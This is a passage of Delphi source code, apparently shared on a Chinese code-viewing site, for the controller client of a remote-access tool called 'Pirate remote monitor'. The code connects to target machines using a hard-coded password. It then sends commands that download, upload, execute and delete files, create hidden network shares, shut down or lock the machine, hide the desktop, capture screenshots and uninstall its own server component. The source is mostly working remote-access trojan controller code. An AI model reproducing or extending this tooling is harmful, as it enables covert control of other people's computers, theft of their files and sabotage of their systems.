📄 umain.~pas
字号:
State := stGetFile;
end;
end;
if Index = 2 then begin
if State = stWait then
begin
lvFiles.Items.Clear;
temp := 'f' + temp+':\*.*';
ClntSocket.Socket.SendText(temp);
State := stGetFile;
CurrentDir := temp1+':\';
end;
end;
end;
end;
procedure TfrmClient.PopupMenu1Popup(Sender: TObject);
begin
if lvFiles.ItemFocused <> nil then
if lvFiles.ItemFocused.ImageIndex = 0 then
begin
Execute1.Enabled := false;
Download1.Enabled := false;
del1.Enabled :=false;
Share1.Enabled:=true;
Share2.Enabled:=true;
A1.Enabled:=true;
end else
begin
Execute1.Enabled := true;
Download1.Enabled := true;
del1.Enabled := true;
Share1.Enabled:=false;
Share2.Enabled:=false;
A1.Enabled:=false;
end
else
begin
Execute1.Enabled := false;
Download1.Enabled := false;
del1.Enabled := false;
Share1.Enabled :=false;
Share2.Enabled :=false;
A1.Enabled:=false;
end;
end;
procedure TfrmClient.DownLoad1Click(Sender: TObject);
var
temp : string;
begin
if State = stWait then
begin
SaveDlg.FileName := lvFiles.ItemFocused.Caption;
if SaveDlg.Execute then
begin
assignFile(opFile,SaveDlg.filename);
Rewrite(opFile);
Counter := 0;
temp := 'd' + CurrentDir + lvFiles.ItemFocused.Caption;
ClntSocket.Socket.SendText(temp);
State := stReceive;
end;
end;
end;
procedure TfrmClient.UpLoad1Click(Sender: TObject);
var
temp : string;
i : integer;
begin
if State = stWait then
if OpenDlg.Execute then
begin
assignFile(opFile,OpenDlg.filename);
Reset(opFile);
Counter := 0;
temp := OpenDlg.FileName;
i := length(temp);
repeat dec(i) until temp[i] = '\';
delete(temp,1,i);
temp := 'u' + currentDir + temp;
ClntSocket.Socket.SendText(temp);
State := stSend;
end;
end;
procedure TfrmClient.Execute1Click(Sender: TObject);
var
temp : string;
begin
temp := 'e' + CurrentDir + lvFiles.ItemFocused.Caption;
Clntsocket.Socket.SendText(temp);
end;
procedure TfrmClient.edAddrKeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then
btconnectClick(btConnect);
end;
procedure TfrmClient.ClntSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
btspy.Enabled := false;
btReset.Enabled := false;
Share1.Enabled :=false;
Share2.Enabled :=false;
nscreen.Enabled:=false;
nmessage.Enabled:=false;
min_2.Enabled:=false;
min_3.Enabled:=false;
N7.Enabled:=false;
A1.Enabled :=false;
btConnect.Caption := '连接';
StatusBar1.SimpleText:=' 目标机器 '+cob_ip.Text+'关闭或服务器程序已关闭!';
end;
procedure TfrmClient.FormShow(Sender: TObject);
var IconData: TNotifyIconData;
begin
IconData.cbSize :=SizeOf( IconData );
IconData.Wnd := self.Handle;
IconData.uID := icon_id;
Shell_NotifyIcon( NIM_DELETE, @IconData );
edtPassword.SetFocus;
ClntSocket.open;
end;
procedure TfrmClient.Image1Click(Sender: TObject);
begin
If Not Assigned(frmAbout) Then
frmAbout:=TfrmAbout.Create(Application);
frmAbout.Show;
end;
procedure TfrmClient.FormCreate(Sender: TObject);
begin
// SetWindowPos(handle,HWND_TOPMOST,Left,Top,Width,Height,0);
JPEG_Screen:=TJPEGImage.Create;
{
Application.HintPause:=0;
Application.HintPause:=clBlue;
Application.HintHidePause:=10000;
Application.HintShortPause:=100;}
end;
procedure TfrmClient.edtPasswordKeyPress(Sender: TObject; var Key: Char);
begin
if key=#13 then cob_ip.SetFocus;
end;
procedure TfrmClient.del1Click(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='s'+ CurrentDir + lvFiles.ItemFocused.Caption;
ClntSocket.Socket.SendText(temptext);
State := stDel;
end;
end;
procedure TfrmClient.Share1Click(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='ashare0'+ CurrentDir + lvFiles.ItemFocused.Caption; //0为不隐藏
ClntSocket.Socket.SendText(temptext);
State := stShare;
end;
end;
procedure TfrmClient.Share2Click(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='ashare1'+ CurrentDir + lvFiles.ItemFocused.Caption; //1为隐藏
ClntSocket.Socket.SendText(temptext);
State := stShare;
end;
end;
procedure TfrmClient.closePCClick(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='000';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
procedure TfrmClient.rebootPCClick(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='001';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
procedure TfrmClient.Restart_UserClick(Sender: TObject);
var
temptext:string;
begin
if State = stWait then begin
temptext:='002';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
procedure TfrmClient.S1Click(Sender: TObject);
begin
If not assigned(Searchform) Then
Searchform:=TSearchform.Create(Application);
Searchform.Show;
end;
procedure TfrmClient.cob_ipKeyPress(Sender: TObject; var Key: Char);
begin
if key=#13 then btConnectClick(btConnect);
end;
procedure TfrmClient.X1Click(Sender: TObject);
begin
Close;
end;
procedure TfrmClient.cob_ipChange(Sender: TObject);
begin
if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
Clntsocket.Active := False;
ClntSocket.Address := cob_ip.Text;
ClntSocket.Host := cob_ip.Text;
Clntsocket.Active := true;
end else
Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;
procedure TfrmClient.PCerrorClick(Sender: TObject);
var
temptext :string;
begin
if State = stWait then begin
temptext:='003';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
procedure TfrmClient.NLockClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='004';
ClntSocket.Socket.SendText(temptext);
State := stWait;
NLock.Enabled:=False;
Nfree.Enabled:=True;
end;
end;
procedure TfrmClient.NfreeClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='005';
ClntSocket.Socket.SendText(temptext);
State := stWait;
NLock.Enabled:=True;
Nfree.Enabled:=False;
end;
end;
procedure TfrmClient.NhidedesktopClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='006';
ClntSocket.Socket.SendText(temptext);
State := stWait;
Nhidedesktop.Enabled:=False;
Ndisplay.Enabled:=True;
end;
end;
procedure TfrmClient.NdisplayClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='007';
ClntSocket.Socket.SendText(temptext);
State := stWait;
Nhidedesktop.Enabled:=True;
Ndisplay.Enabled:=False;
end;
end;
procedure TfrmClient.NhidestatusClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='008';
ClntSocket.Socket.SendText(temptext);
State := stWait;
Nhidestatus.Enabled:=False;
Ndisplaystatus.Enabled:=True;
end;
end;
procedure TfrmClient.NdisplaystatusClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='009';
ClntSocket.Socket.SendText(temptext);
State := stWait;
Nhidestatus.Enabled:=True;
Ndisplaystatus.Enabled:=False;
end;
end;
procedure TfrmClient.NdeathClick(Sender: TObject);
Var
TempText:String;
begin
if State = stWait then begin
temptext:='010';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
procedure TfrmClient.N7Click(Sender: TObject);
begin
frmParam.ShowModal;
end;
procedure TfrmClient.tv_PClistClick(Sender: TObject);
var
Temp:String;
begin
if tv_PClist.Items.Count>0 then begin
Temp:=tv_PClist.Selected.Text;
if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
Clntsocket.Active := False;
ClntSocket.Address := Temp;
Clntsocket.Active := true;
tv_PClist.Hint:=IPAddrToName(Temp);
end else
Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;
end;
procedure TfrmClient.nmessageClick(Sender: TObject);
begin
If Not Assigned(frmMessage) Then
frmMessage:=TfrmMessage.Create(Application);
frmMessage.Show;
end;
procedure TfrmClient.ToolButton4Click(Sender: TObject);
var
TreeNode1: TTreeNode;
Server:String;
begin
if InputQuery('输入要连接的计算机', 'IP地址(或计算机名):', Server) then
if Length(Server) > 0 then
TreeNode1:= tv_PClist.Items.Add(nil,Server);
end;
procedure TfrmClient.C2Click(Sender: TObject);
begin
If colordlg.Execute Then Begin
tv_PClist.Color:=ColorDlg.Color;
lvFiles.Color:=ColorDlg.Color;
edtPassword.Color:=ColorDlg.Color;
End;
end;
procedure TfrmClient.S3Click(Sender: TObject);
begin
if tv_PClist.Items.Count > 0 Then Begin
tv_PClist.SaveToFile('Pirate.lst');
Application.MessageBox('主机列表已经成功保存!','提示',MB_ICONINFORMATION);
end;
end;
procedure TfrmClient.N13Click(Sender: TObject);
begin
If FileExists('Pirate.lst') Then
tv_PClist.LoadFromFile('Pirate.lst')
else
Application.MessageBox('没有找到主机列表文件!','提示',MB_ICONINFORMATION);
end;
procedure TfrmClient.ToolButton5Click(Sender: TObject);
begin
If tv_PClist.Items.Count > 0 Then
tv_PClist.Selected.Delete
Else
Application.MessageBox('没有可删除的主机!','提示',MB_ICONINFORMATION);
end;
procedure TfrmClient.WMSysCommand(var Message: TWMSysCommand);
var result:boolean;
begin
Inherited;//调用先前的处理函数
if (Message.CmdType and $FFF0 = SC_MINIMIZE) then begin
result:=false;
hicondo.Wnd:=Handle;
hicondo.cbSize:=sizeof(hicondo);
hicondo.uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
hicondo.uID:=ICON_ID;
hicondo.uCallBackMessage:=MI_ICONEVENT;
hicondo.hIcon:=loadicon(hinstance,'mainicon');
hicondo.szTip:='海盗远程监控[作者:Army]';
result:=Shell_NotifyIcon(NIM_ADD,@hicondo);
if result then destroyicon(hicondo.hIcon);
frmclient.Hide;
end;
end;
procedure TfrmClient.FormClose(Sender: TObject; var Action: TCloseAction);
var IconData: TNotifyIconData;
i:integer;
begin
IconData.cbSize :=SizeOf( IconData );
IconData.Wnd := self.Handle;
IconData.uID := icon_id;
Shell_NotifyIcon( NIM_DELETE, @IconData );
DeleteFile('C:\Pirate.jpg');
end;
procedure TfrmClient.IconOnClick(var message: TMessage);
var p : TPoint;
begin
//if message=wm_mycallback then
{ if (message.lParam = WM_LBUTTONDOWN) then
self.Show; }
if (message.lParam = WM_RBUTTONDOWN) then
begin
if assigned(popupmenu3) then
begin
setforegroundwindow(self.handle);
GetCursorPos(p) ;
popupmenu3.Popup(p.x,p.y);
postmessage(self.handle,MI_ICONEVENT,0,0);
end;
end;
end;
procedure TfrmClient.min_1Click(Sender: TObject);
begin
self.show;
end;
procedure TfrmClient.min_2Click(Sender: TObject);
begin
frmMessage.ShowModal;
end;
procedure TfrmClient.N18Click(Sender: TObject);
var
temptext :String;
begin
if State = stWait then begin
If MessageDlg('你是否确认删除目标机上海盗服务器端[Y/N]?',mtWarning, [mbYes, mbNo],0) = mrYes then
begin
temptext:='012';
ClntSocket.Socket.SendText(temptext);
State := stWait;
end;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -